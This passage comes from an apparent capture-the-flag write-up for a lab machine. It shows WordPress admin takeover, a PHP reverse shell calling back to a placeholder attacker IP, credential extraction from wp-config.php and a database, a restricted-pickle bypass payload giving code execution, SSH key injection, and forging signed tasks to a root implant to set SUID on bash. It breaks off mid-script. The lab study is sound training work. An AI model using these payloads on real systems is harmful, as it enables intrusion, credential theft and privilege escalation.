[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_a5fdae0313e0
[+]     email:    wp2_a5fdae0313e0@wp2shell.invalid
[+]     password: Wp2!RCFKphx2aSGoImuyytie
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The plugin-upload step times out due to outbound restrictions, so the RCE path shifts&lt;br&gt;
to the Theme File Editor, which is accessible once logged in as the newly created admin.&lt;/p&gt;

&lt;p&gt;Navigating to &lt;code&gt;Appearance &amp;gt; Theme File Editor &amp;gt; Twenty Twenty-Five &amp;gt; patterns &amp;gt;&lt;br&gt;
contact-info-locations.php&lt;/code&gt; and replacing the file content with a PentestMonkey PHP&lt;br&gt;
reverse shell payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;set_time_limit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;ATTACKER-IP&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// ... standard reverse shell payload&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Starting the listener and triggering execution by visiting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://&amp;lt;MACHINE-IP&amp;gt;/wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tryhackme-2404 &amp;lt;MACHINE-IP&amp;gt; Linux-x86_64 www-data&lt;span class="o"&gt;(&lt;/span&gt;33&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Lateral Movement - www-data to norm
&lt;/h2&gt;

&lt;h3&gt;
  
  
  WordPress Database Credential Extraction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;cat /var/www/html/wp-config.php | grep DB_
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp_WjURfdI' );
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enumerating the WordPress database revealed a non-standard table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SHOW TABLES;&lt;/span&gt;&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-----------------------+
| wp_infra_accounts     |  &amp;lt;-- non-default, custom table
+-----------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SELECT * FROM wp_infra_accounts;&lt;/span&gt;&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-----------+---------------------+-------------------------------------------------+
| host_user | host_pass           | note                                            |
+-----------+---------------------+-------------------------------------------------+
| norm      | N0rm_th3_r0b0t_2026 | ssh sync target for the -inator newsletter cron |
+-----------+---------------------+-------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password reuse on the local account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;su norm   #&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;password: N0rm_th3_r0b0t_2026
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  User Flag 1
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;norm@tryhackme-2404:~$ cat /home/norm/user.txt
EVILINC{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Internal Service Discovery
&lt;/h2&gt;

&lt;p&gt;Enumerating open ports from inside the box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ss -tulnp
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tcp  LISTEN  127.0.0.1:8700   &amp;lt;-- previously invisible from external scan
tcp  LISTEN  127.0.0.1:3306
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 8700 is a Gunicorn/Flask app running as &lt;code&gt;vanessa&lt;/code&gt;: the "Evil Inc. -inator Control&lt;br&gt;
Panel." Its landing page shows two API routes: &lt;code&gt;POST /api/login&lt;/code&gt; (exchange a secret for&lt;br&gt;
an operator token) and &lt;code&gt;POST /api/blueprints/import&lt;/code&gt; (deserialize a base64 pickle&lt;br&gt;
blueprint).&lt;/p&gt;
&lt;h2&gt;
  
  
  Lateral Movement - norm to vanessa
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Operator Secret Extraction
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;norm&lt;/code&gt; is a member of the &lt;code&gt;evilinc&lt;/code&gt; group:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;id
uid=1001(norm) gid=1002(norm) groups=1002(norm),1001(evilinc)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/etc/evilinc/panel.conf&lt;/code&gt; is readable by &lt;code&gt;evilinc&lt;/code&gt; group members:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat /etc/evilinc/panel.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[panel]&lt;/span&gt;
&lt;span class="py"&gt;operator_secret&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;b3hind_sch3dul3_th1s_m0nth&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authenticating to the internal panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;curl -s -c cookies.txt -X POST http://127.0.0.1:8700/api/login \
  -d "secret=b3hind_sch3dul3_th1s_m0nth"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Pickle Deserialization - Restricted Unpickler Bypass
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;/api/blueprints/import&lt;/code&gt; endpoint accepts a base64-encoded pickle, but passes&lt;br&gt;
it through a &lt;code&gt;restricted_unpickler.py&lt;/code&gt; module that blocks common modules by name&lt;br&gt;
(&lt;code&gt;os&lt;/code&gt;, &lt;code&gt;posix&lt;/code&gt;, &lt;code&gt;subprocess&lt;/code&gt;, &lt;code&gt;builtins&lt;/code&gt;, &lt;code&gt;operator&lt;/code&gt;, etc.).&lt;/p&gt;

&lt;p&gt;The bypass uses &lt;code&gt;pydoc.locate()&lt;/code&gt;, which resolves dotted names like &lt;code&gt;"os.system"&lt;/code&gt;&lt;br&gt;
to the actual function object at unpickle time. Since &lt;code&gt;pydoc&lt;/code&gt; itself is not&lt;br&gt;
blocklisted, this sidesteps the restriction entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pydoc&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GetSystemFunc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__call__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;pass&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__reduce__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pydoc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;locate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os.system&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__reduce__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;GetSystemFunc&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;id &amp;gt; /tmp/pwned_test 2&amp;gt;&amp;amp;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exploit&lt;/span&gt;&lt;span class="p"&gt;())).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirming RCE as &lt;code&gt;vanessa&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;curl -s -b cookies.txt -X POST http://127.0.0.1:8700/api/blueprints/import \
&lt;/span&gt;&lt;span class="gp"&gt;  --data-urlencode "blueprint=$&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;python3 exploit.py&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"loaded"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;cat /tmp/pwned_test
uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SSH Access as Vanessa
&lt;/h3&gt;

&lt;p&gt;Using the pickle RCE to inject an SSH public key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mkdir -p /home/vanessa/.ssh &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;  echo &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;PUBKEY&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; &amp;gt;&amp;gt; /home/vanessa/.ssh/authorized_keys &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;  chmod 700 /home/vanessa/.ssh &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;  chmod 600 /home/vanessa/.ssh/authorized_keys &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class="se"&gt;\
&lt;/span&gt;&lt;span class="s"&gt;  chown -R vanessa:vanessa /home/vanessa/.ssh&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ssh -i vanessa_key vanessa@127.0.0.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  User Flag 2 (Operator)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vanessa@tryhackme-2404:~$ cat /home/vanessa/operator.txt
EVILINC{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege Escalation - vanessa to root
&lt;/h2&gt;

&lt;h3&gt;
  
  
  C2 Tasking Socket
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;vanessa&lt;/code&gt; is in the &lt;code&gt;evilinc&lt;/code&gt; group, which has write access to the C2 implant's&lt;br&gt;
Unix domain socket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug  8 07:52 /run/evilinc/tasking.sock
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The root-running implant (&lt;code&gt;/opt/evilinc/implant&lt;/code&gt;) polls this socket for tasks. It&lt;br&gt;
supports two verbs via &lt;code&gt;POLL &amp;lt;id&amp;gt;&lt;/code&gt; and &lt;code&gt;SUBMIT &amp;lt;id&amp;gt;|&amp;lt;type&amp;gt;|&amp;lt;cmd&amp;gt;|&amp;lt;nonce&amp;gt;|&amp;lt;sig&amp;gt;&lt;/code&gt;.&lt;br&gt;
A valid signature is required or the server returns &lt;code&gt;ERR&lt;/code&gt;. The implant supports two&lt;br&gt;
task types: &lt;code&gt;sysinfo&lt;/code&gt; and &lt;code&gt;exec&lt;/code&gt; - the latter passes &lt;code&gt;cmd&lt;/code&gt; directly to &lt;code&gt;system()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Reverse-Engineering the HMAC Signing Key
&lt;/h3&gt;

&lt;p&gt;Disassembling the binary confirmed HMAC-SHA256 for signature verification. The key&lt;br&gt;
derivation was determined from &lt;code&gt;.rodata&lt;/code&gt; and the disassembly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;A 32-byte LCPRNG keystream is generated from seed &lt;code&gt;0x1a2b3c4d&lt;/code&gt; using the&lt;br&gt;
classic LCG formula: &lt;code&gt;s = (s * 0x41c64e6d + 0x3039) &amp;amp; 0xFFFFFFFF&lt;/code&gt;, taking&lt;br&gt;
&lt;code&gt;(s &amp;gt;&amp;gt; 16) &amp;amp; 0xFF&lt;/code&gt; each iteration.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;That keystream is XOR'd against a 32-byte constant blob embedded in &lt;code&gt;.rodata&lt;/code&gt;&lt;br&gt;
at offset &lt;code&gt;0x2020&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   1588c57c 026ae5eb 9c2d1817 af48f709
   64efff76 5e58d112 d8f116d7 0f9941b4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This produces the raw signing secret.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The signing key is then &lt;code&gt;HMAC-SHA256(raw_secret, machine_id)&lt;/code&gt; where &lt;code&gt;machine_id&lt;/code&gt;
is read from &lt;code&gt;/etc/machine-id&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The full key derivation in Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;keystream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0x1a2b3c4d&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt;
    &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mh"&gt;0x41c64e6d&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x3039&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1588c57c026ae5eb9c2d1817af48f709&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;64efff765e58d112d8f116d70f9941b4&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;ks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;keystream&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;blob&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ks&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;machine_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/machine-id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;signing_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;blob&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;machine_id&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Forging a Malicious Task
&lt;/h3&gt;

&lt;p&gt;With the signing key recovered, a valid &lt;code&gt;exec&lt;/code&gt; task is forged to SUID &lt;code&gt;bash&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;task_id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;9999999&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;task_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exec&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;chmod u+s /bin/bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;nonce&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;task_id&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;task_type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
